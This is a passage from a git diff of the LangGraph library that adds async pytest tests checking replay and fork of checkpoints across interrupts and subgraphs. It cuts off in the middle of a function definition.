observed[0] == ("sub_step", {"sub_trail": []}) + assert observed[1] == ("sub_step", {"sub_trail": ["s"]}) + + # 2nd invocation: loop runs again, subgraph sees accumulated state + observed.clear() + graph.invoke({"counter": 0, "results": []}, config) + assert len(observed) == 2 + assert observed[0] == ("sub_step", {"sub_trail": ["s", "s"]}) + assert observed[1] == ("sub_step", {"sub_trail": ["s", "s", "s"]}) + + # Replay from the START of the 2nd invocation's loop (counter=0). + # History has two inc checkpoints with counter=0: 2nd invocation's (newer) + # and 1st invocation's (older). Pick the newer one. + history = list(graph.get_state_history(config)) + start_of_loop_2nd = [ + s for s in history if s.next == ("inc",) and s.values["counter"] == 0 + ][0] + + observed.clear() + graph.invoke(None, start_of_loop_2nd.config) + + # Full loop re-runs (2 sub calls). Subgraph loads state from end of + # 1st invocation (2 × "s"), same as the original 2nd invocation. + assert len(observed) == 2 + assert observed[0] == ("sub_step", {"sub_trail": ["s", "s"]}) + assert observed[1] == ("sub_step", {"sub_trail": ["s", "s", "s"]}) + + # Also test replay from MID-loop (counter=1) in the 2nd invocation. + # Only one loop iteration remains, and the subgraph should load state + # that includes the first loop iteration of the 2nd invocation (3 × "s"). + mid_loop_2nd = [ + s for s in history if s.next == ("inc",) and s.values["counter"] == 1 + ][0] + + observed.clear() + graph.invoke(None, mid_loop_2nd.config) + + assert len(observed) == 1 + assert observed[0] == ("sub_step", {"sub_trail": ["s", "s", "s"]}) diff --git a/libs/langgraph/tests/test_time_travel_async.py b/libs/langgraph/tests/test_time_travel_async.py new file mode 100644 index 0000000..458b32c --- /dev/null +++ b/libs/langgraph/tests/test_time_travel_async.py @@ -0,0 +1,3211 @@ +"""Async tests for time travel (replay and fork) behavior. + +Covers the intersection of replay vs fork across graph structures: +- Replay & fork basics (no interrupt, no subgraph) +- Replay & fork with interrupts (no subgraph) +- Multiple / sequential interrupts +- Subgraph without interrupt +- Subgraph with interrupt +- __copy__ / update_state(None) +- Observability (get_state, config access) + +Key concepts: +- Replay (invoke with checkpoint_id): Re-executes nodes after the checkpoint. + Interrupts re-fire on replay. +- Fork (update_state then invoke): Creates a new checkpoint without cached + pending writes. Nodes re-execute and interrupts DO re-fire. +""" + +import operator +import sys +from typing import Annotated + +import pytest +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import BaseCheckpointSaver +from typing_extensions import TypedDict + +from langgraph.graph import START, StateGraph +from langgraph.types import Command, interrupt + +pytestmark = pytest.mark.anyio + +NEEDS_CONTEXTVARS = pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ is required for async contextvars support", +) + + +class State(TypedDict): + value: Annotated[list[str], operator.add] + + +def _checkpoint_summary(history: list) -> list[dict]: + """Summarize checkpoint history into a readable format for assertions. + + Returns a list of dicts (newest-first, matching get_state_history order) with: + - id: short checkpoint id suffix (last 6 chars) + - parent_id: short parent checkpoint id suffix or None + - source: checkpoint metadata source (input, loop, fork, update) + - next: tuple of next node names + - values: channel values snapshot + """ + summaries = [] + for s in history: + cid = s.config["configurable"]["checkpoint_id"] + pid = ( + s.parent_config["configurable"]["checkpoint_id"] + if s.parent_config + else None + ) + summaries.append( + { + "id": cid[-6:], + "parent_id": pid[-6:] if pid else None, + "source": s.metadata.get("source"), + "next": s.next, + "values": s.values, + } + ) + return summaries + + +# --------------------------------------------------------------------------- +# Section 1: Replay & fork basics (no interrupt, no subgraph) +# --------------------------------------------------------------------------- + + +@NEEDS_CONTEXTVARS +async def test_replay_reruns_nodes_after_checkpoint( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from checkpoint before node_b. node_b re-executes (it's after + the checkpoint), node_a does not.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + result = await graph.ainvoke({"value": []}, config) + assert result == {"value": ["a", "b"]} + assert called == ["node_a", "node_b"] + + # Find checkpoint before node_b (next=(node_b,)) + history = [s async for s in graph.aget_state_history(config)] + before_b = next(s for s in history if s.next == ("node_b",)) + + # Replay from checkpoint before node_b + called.clear() + replay_result = await graph.ainvoke(None, before_b.config) + + assert replay_result == {"value": ["a", "b"]} + assert "node_b" in called + assert "node_a" not in called + + +@NEEDS_CONTEXTVARS +async def test_replay_from_final_checkpoint_is_noop( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from completed checkpoint (no next nodes) is a no-op.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_edge(START, "node_a") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + result = await graph.ainvoke({"value": []}, config) + assert result == {"value": ["a"]} + + state = await graph.aget_state(config) + assert state.next == () + + called.clear() + replay_result = await graph.ainvoke(None, state.config) + assert replay_result == {"value": ["a"]} + assert called == [] + + +@NEEDS_CONTEXTVARS +async def test_fork_reruns_with_modified_state( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from checkpoint before node_b with modified state. node_b + re-executes with the new state.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + await graph.ainvoke({"value": []}, config) + + history = [s async for s in graph.aget_state_history(config)] + before_b = next(s for s in history if s.next == ("node_b",)) + + called.clear() + fork_config = await graph.aupdate_state(before_b.config, {"value": ["x"]}) + fork_result = await graph.ainvoke(None, fork_config) + + assert "node_b" in called + assert fork_result == {"value": ["a", "x", "b"]} + + +@NEEDS_CONTEXTVARS +async def test_multiple_forks_from_same_checkpoint( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Two independent forks from the same checkpoint create independent + branches that don't affect each other.""" + + def node_a(state: State) -> State: + return {"value": ["a"]} + + def node_b(state: State) -> State: + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + await graph.ainvoke({"value": []}, config) + + history = [s async for s in graph.aget_state_history(config)] + before_b = next(s for s in history if s.next == ("node_b",)) + + fork1_config = await graph.aupdate_state(before_b.config, {"value": ["fork1"]}) + result1 = await graph.ainvoke(None, fork1_config) + + fork2_config = await graph.aupdate_state(before_b.config, {"value": ["fork2"]}) + result2 = await graph.ainvoke(None, fork2_config) + + assert "fork1" in result1["value"] + assert "fork2" not in result1["value"] + assert "fork2" in result2["value"] + assert "fork1" not in result2["value"] + + +# --------------------------------------------------------------------------- +# Section 2: Replay & fork with interrupts (no subgraph) +# --------------------------------------------------------------------------- + + +@NEEDS_CONTEXTVARS +async def test_replay_from_before_interrupt_refires( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from checkpoint before interrupt node. The node re-executes + and interrupt re-fires.""" + + call_count: dict[str, int] = {"node_a": 0, "ask_human": 0, "node_b": 0} + + def node_a(state: State) -> State: + call_count["node_a"] += 1 + return {"value": ["a"]} + + def ask_human(state: State) -> State: + call_count["ask_human"] += 1 + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + call_count["node_b"] += 1 + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt + result = await graph.ainvoke({"value": []}, config) + assert "__interrupt__" in result + assert call_count["ask_human"] == 1 + + # Resume + result = await graph.ainvoke(Command(resume="hello"), config) + assert result == {"value": ["a", "human:hello", "b"]} + assert call_count["ask_human"] == 2 # re-executes on resume + + # Find checkpoint before ask_human + history = [s async for s in graph.aget_state_history(config)] + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + # Replay — interrupt re-fires, node re-executes + replay_result = await graph.ainvoke(None, before_ask.config) + + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "What is your input?" + assert replay_result["value"] == ["a"] + assert call_count["ask_human"] == 3 # re-executed again + assert call_count["node_a"] == 1 # NOT re-executed (before checkpoint) + assert call_count["node_b"] == 1 # NOT re-executed (after interrupt) + + +@NEEDS_CONTEXTVARS +async def test_replay_interrupt_stable_across_replays( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Replaying the same checkpoint multiple times consistently produces + identical results (interrupt re-fires each time).""" + + def node_a(state: State) -> State: + return {"value": ["a"]} + + def ask_human(state: State) -> State: + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + await graph.ainvoke({"value": []}, config) + await graph.ainvoke(Command(resume="cached_answer"), config) + + history = [s async for s in graph.aget_state_history(config)] + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + results = [] + for _ in range(3): + r = await graph.ainvoke(None, before_ask.config) + results.append(r) + + # Each replay creates a fork with a unique interrupt ID, so we compare + # interrupt values and state values rather than full equality. + assert all("__interrupt__" in r for r in results) + assert all( + r["__interrupt__"][0].value == results[0]["__interrupt__"][0].value + for r in results + ) + assert all(r["value"] == results[0]["value"] for r in results) + + +@NEEDS_CONTEXTVARS +async def test_fork_from_before_interrupt_refires( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from checkpoint before interrupt node. Interrupt IS re-triggered + because fork has no cached resume values. Resume with new answer.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + await graph.ainvoke({"value": []}, config) + await graph.ainvoke(Command(resume="hello"), config) + + history = [s async for s in graph.aget_state_history(config)] + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + called.clear() + fork_config = await graph.aupdate_state(before_ask.config, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "What is your input?" + + # Resume the forked interrupt with a different answer + final = await graph.ainvoke(Command(resume="world"), fork_config) + assert final == {"value": ["a", "forked", "human:world", "b"]} + + +@NEEDS_CONTEXTVARS +async def test_fork_from_interrupt_checkpoint_refires( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from the checkpoint where interrupt fired. Interrupt re-triggered + because fork clears cached data. Resume with different answer.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + await graph.ainvoke({"value": []}, config) + await graph.ainvoke(Command(resume="hello"), config) + + history = [s async for s in graph.aget_state_history(config)] + interrupt_checkpoint = next( + s + for s in history + if s.next == ("ask_human",) and s.tasks and any(t.interrupts for t in s.tasks) + ) + + fork_config = await graph.aupdate_state( + interrupt_checkpoint.config, {"value": ["forked"]} + ) + fork_result = await graph.ainvoke(None, fork_config) + + assert "__interrupt__" in fork_result + + final = await graph.ainvoke(Command(resume="different"), fork_config) + assert "human:different" in final["value"] + + +# --------------------------------------------------------------------------- +# Section 3: Multiple / sequential interrupts +# --------------------------------------------------------------------------- + + +@NEEDS_CONTEXTVARS +async def test_sequential_interrupts_fork_from_middle( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Graph with two sequential interrupt nodes. Fork from between them: + only the second re-fires, the first's result is preserved. Also verify + replaying from before the first re-fires only the first.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def interrupt_1(state: State) -> State: + called.append("interrupt_1") + answer = interrupt("First question?") + return {"value": [f"i1:{answer}"]} + + def interrupt_2(state: State) -> State: + called.append("interrupt_2") + answer = interrupt("Second question?") + return {"value": [f"i2:{answer}"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("interrupt_1", interrupt_1) + .add_node("interrupt_2", interrupt_2) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "interrupt_1") + .add_edge("interrupt_1", "interrupt_2") + .add_edge("interrupt_2", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Hit first interrupt + r1 = await graph.ainvoke({"value": []}, config) + assert r1["__interrupt__"][0].value == "First question?" + + # Resume first → hit second + r2 = await graph.ainvoke(Command(resume="ans1"), config) + assert r2["__interrupt__"][0].value == "Second question?" + + # Resume second → complete + r3 = await graph.ainvoke(Command(resume="ans2"), config) + assert r3 == {"value": ["a", "i1:ans1", "i2:ans2", "b"]} + + history = [s async for s in graph.aget_state_history(config)] + + # Fork from between the two interrupts — only second re-fires + between = [s for s in history if s.next == ("interrupt_2",)][-1] + fork_config = await graph.aupdate_state(between.config, {"value": ["mid_fork"]}) + fork_result = await graph.ainvoke(None, fork_config) + + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Second question?" + + # Resume with new answer, first answer preserved + final_result = await graph.ainvoke(Command(resume="new_b"), fork_config) + assert "i2:new_b" in final_result["value"] + assert "i1:ans1" in final_result["value"] + + # Replay from before first interrupt — first re-fires, second does not + before_i1 = [s for s in history if s.next == ("interrupt_1",)][-1] + called.clear() + replay_result = await graph.ainvoke(None, before_i1.config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "First question?" + assert "interrupt_1" in called + assert "interrupt_2" not in called + + +@NEEDS_CONTEXTVARS +async def test_multiple_interrupts_in_one_node( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """A single node with two sequential interrupt() calls. Resuming resolves + them one at a time. Replaying from before the node re-fires the first.""" + + def multi_interrupt_node(state: State) -> State: + answer1 = interrupt("First question?") + answer2 = interrupt("Second question?") + return {"value": [f"a1:{answer1}", f"a2:{answer2}"]} + + def after(state: State) -> State: + return {"value": ["done"]} + + graph = ( + StateGraph(State) + .add_node("ask", multi_interrupt_node) + .add_node("after", after) + .add_edge(START, "ask") + .add_edge("ask", "after") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Hit first interrupt + result = await graph.ainvoke({"value": []}, config) + assert result["__interrupt__"][0].value == "First question?" + + # Resume first → hit second + interrupt_state = await graph.aget_state(config) + result = await graph.ainvoke(Command(resume="ans1"), interrupt_state.config) + assert result["__interrupt__"][0].value == "Second question?" + + # Resume second → complete + interrupt_state2 = await graph.aget_state(config) + result = await graph.ainvoke(Command(resume="ans2"), interrupt_state2.config) + assert result == {"value": ["a1:ans1", "a2:ans2", "done"]} + + # Replay from before the node — first interrupt re-fires + history = [s async for s in graph.aget_state_history(config)] + before_ask = [s for s in history if s.next == ("ask",)][-1] + replay_result = await graph.ainvoke(None, before_ask.config) + assert replay_result["__interrupt__"][0].value == "First question?" + + +# --------------------------------------------------------------------------- +# Section 4: Subgraph without interrupt +# --------------------------------------------------------------------------- + + +@NEEDS_CONTEXTVARS +async def test_subgraph_replay_from_before( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from parent checkpoint before subgraph node. Subgraph and + post_process re-execute, parent_node does not.""" + + called: list[str] = [] + + def parent_node(state: State) -> State: + called.append("parent_node") + return {"value": ["parent"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "step_b") + .compile() + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("parent_node", parent_node) + .add_node("subgraph", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "parent_node") + .add_edge("parent_node", "subgraph") + .add_edge("subgraph", "post_process") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + result = await graph.ainvoke({"value": []}, config) + assert "sub_a" in result["value"] + assert "sub_b" in result["value"] + assert "post" in result["value"] + + history = [s async for s in graph.aget_state_history(config)] + before_sub = next(s for s in history if s.next == ("subgraph",)) + + called.clear() + replay_result = await graph.ainvoke(None, before_sub.config) + + assert "sub_a" in replay_result["value"] + assert "sub_b" in replay_result["value"] + assert "post" in replay_result["value"] + assert "parent_node" not in called + + +@NEEDS_CONTEXTVARS +async def test_subgraph_fork_from_before( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from parent checkpoint before subgraph with modified state. + Subgraph re-executes with forked state.""" + + called: list[str] = [] + + def parent_node(state: State) -> State: + called.append("parent_node") + return {"value": ["parent"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "step_b") + .compile() + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("parent_node", parent_node) + .add_node("subgraph", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "parent_node") + .add_edge("parent_node", "subgraph") + .add_edge("subgraph", "post_process") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + await graph.ainvoke({"value": []}, config) + + history = [s async for s in graph.aget_state_history(config)] + before_sub = next(s for s in history if s.next == ("subgraph",)) + + called.clear() + fork_config = await graph.aupdate_state(before_sub.config, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + + assert "step_a" in called + assert "step_b" in called + assert "post_process" in called + assert "forked" in fork_result["value"] + assert "sub_a" in fork_result["value"] + assert "sub_b" in fork_result["value"] + + +# --------------------------------------------------------------------------- +# Section 5: Subgraph with interrupt +# --------------------------------------------------------------------------- + + +@NEEDS_CONTEXTVARS +async def test_subgraph_interrupt_replay_from_parent( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from parent checkpoint before subgraph. Subgraph re-executes + and interrupt re-fires.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=True) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt, then resume + result = await graph.ainvoke({"value": []}, config) + assert "__interrupt__" in result + + completed_result = await graph.ainvoke(Command(resume="answer"), config) + assert "human:answer" in completed_result["value"] + assert "sub_b" in completed_result["value"] + assert "post" in completed_result["value"] + + # Find parent checkpoint before subgraph_node + history = [s async for s in graph.aget_state_history(config)] + before_sub = [s for s in history if s.next == ("subgraph_node",)][-1] + + # Replay — interrupt re-fires + called.clear() + replay_result = await graph.ainvoke(None, before_sub.config) + assert "__interrupt__" in replay_result + + +@NEEDS_CONTEXTVARS +async def test_subgraph_interrupt_replay_from_interrupt_checkpoint( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from the parent checkpoint where subgraph interrupt fired. + Interrupt re-fires.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=True) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt + await graph.ainvoke({"value": []}, config) + + # Verify subgraph state is accessible + parent_state = await graph.aget_state(config, subgraphs=True) + assert len(parent_state.tasks) > 0 + assert parent_state.tasks[0].state is not None + + # Resume + await graph.ainvoke(Command(resume="answer"), config) + + # Find the parent checkpoint where the interrupt fired + history = [s async for s in graph.aget_state_history(config)] + interrupt_checkpoint = next( + s + for s in history + if s.next == ("subgraph_node",) + and s.tasks + and any(t.interrupts for t in s.tasks) + ) + + called.clear() + replay_result = await graph.ainvoke(None, interrupt_checkpoint.config) + assert "__interrupt__" in replay_result + + +@NEEDS_CONTEXTVARS +async def test_subgraph_interrupt_full_flow( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork from the subgraph's own checkpoint, resume the interrupt with a + new answer, and verify the FULL flow: subgraph completes (step_b runs) + AND execution continues back to the parent graph (post_process runs). + + This is the key test for time-traveling to a subgraph checkpoint, + re-triggering the interrupt, providing a new answer, and having the + entire graph complete normally including parent nodes after the subgraph.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=True) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt fires in subgraph + result = await graph.ainvoke({"value": []}, config) + assert "__interrupt__" in result + assert "router" in called + assert "step_a" in called + assert "ask_human" in called + + # Get subgraph's own checkpoint config + parent_state = await graph.aget_state(config, subgraphs=True) + sub_task = parent_state.tasks[0] + assert sub_task.state is not None + sub_config = sub_task.state.config + + # Fork from subgraph checkpoint + called.clear() + fork_config = await graph.aupdate_state(sub_config, {"value": ["sub_forked"]}) + + # Invoke from fork — interrupt should re-fire + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Provide input:" + + # Resume the re-triggered interrupt with a NEW answer + called.clear() + final_result = await graph.ainvoke(Command(resume="new_answer"), fork_config) + + # Verify full completion + assert "ask_human" in called + assert "human:new_answer" in final_result["value"] + assert "step_b" in called + assert "sub_b" in final_result["value"] + assert "post_process" in called + assert "post" in final_result["value"] + + +@NEEDS_CONTEXTVARS +async def test_subgraph_interrupt_full_flow_no_sub_checkpointer( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Same as test_subgraph_interrupt_full_flow but with no sub-checkpointer + (checkpointer=None). Fork from the parent checkpoint before the subgraph, + re-trigger interrupt, resume, and verify full parent completion.""" + + called: list[str] = [] + + def router(state: State) -> State: + called.append("router") + return {"value": ["routed"]} + + def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["sub_a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("Provide input:") + return {"value": [f"human:{answer}"]} + + def step_b(state: State) -> State: + called.append("step_b") + return {"value": ["sub_b"]} + + subgraph = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_human", ask_human) + .add_node("step_b", step_b) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_human") + .add_edge("ask_human", "step_b") + .compile(checkpointer=None) + ) + + def post_process(state: State) -> State: + called.append("post_process") + return {"value": ["post"]} + + graph = ( + StateGraph(State) + .add_node("router", router) + .add_node("subgraph_node", subgraph) + .add_node("post_process", post_process) + .add_edge(START, "router") + .add_edge("router", "subgraph_node") + .add_edge("subgraph_node", "post_process") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt, then resume to complete + result = await graph.ainvoke({"value": []}, config) + assert "__interrupt__" in result + + original_result = await graph.ainvoke(Command(resume="original"), config) + assert "human:original" in original_result["value"] + assert "post" in original_result["value"] + + # Find parent checkpoint before subgraph_node + history = [s async for s in graph.aget_state_history(config)] + before_sub = [s for s in history if s.next == ("subgraph_node",)][-1] + + # Fork from parent checkpoint + called.clear() + fork_config = await graph.aupdate_state(before_sub.config, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + + # Interrupt IS re-triggered + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Provide input:" + + # Resume with new answer + called.clear() + final_result = await graph.ainvoke(Command(resume="new_answer"), fork_config) + + # Verify full completion back through parent + assert "human:new_answer" in final_result["value"] + assert "step_b" in called + assert "sub_b" in final_result["value"] + assert "post_process" in called + assert "post" in final_result["value"] + + +@NEEDS_CONTEXTVARS +async def test_subgraph_time_travel_to_first_interrupt_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint at the FIRST interrupt (async).""" + + called: list[str] = [] + + async def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + async def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + async def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until first interrupt (ask_1) + result = await graph.ainvoke({"value": []}, config) + assert result["__interrupt__"][0].value == "Question 1?" + + # Capture subgraph state at the first interrupt + parent_state = await graph.aget_state(config, subgraphs=True) + sub_config_at_first = parent_state.tasks[0].state.config + + # Resume through both interrupts to complete + await graph.ainvoke(Command(resume="answer_1"), config) + await graph.ainvoke(Command(resume="answer_2"), config) + + # --- Scenario 1: Replay from subgraph checkpoint at 1st interrupt --- + called.clear() + replay_result = await graph.ainvoke(None, sub_config_at_first) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 1?" + assert "step_a" not in called + assert "ask_1" in called + + # --- Scenario 2: Fork from subgraph checkpoint at 1st interrupt --- + called.clear() + fork_config = await graph.aupdate_state(sub_config_at_first, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 1?" + assert "step_a" not in called + assert "ask_1" in called + + +@NEEDS_CONTEXTVARS +async def 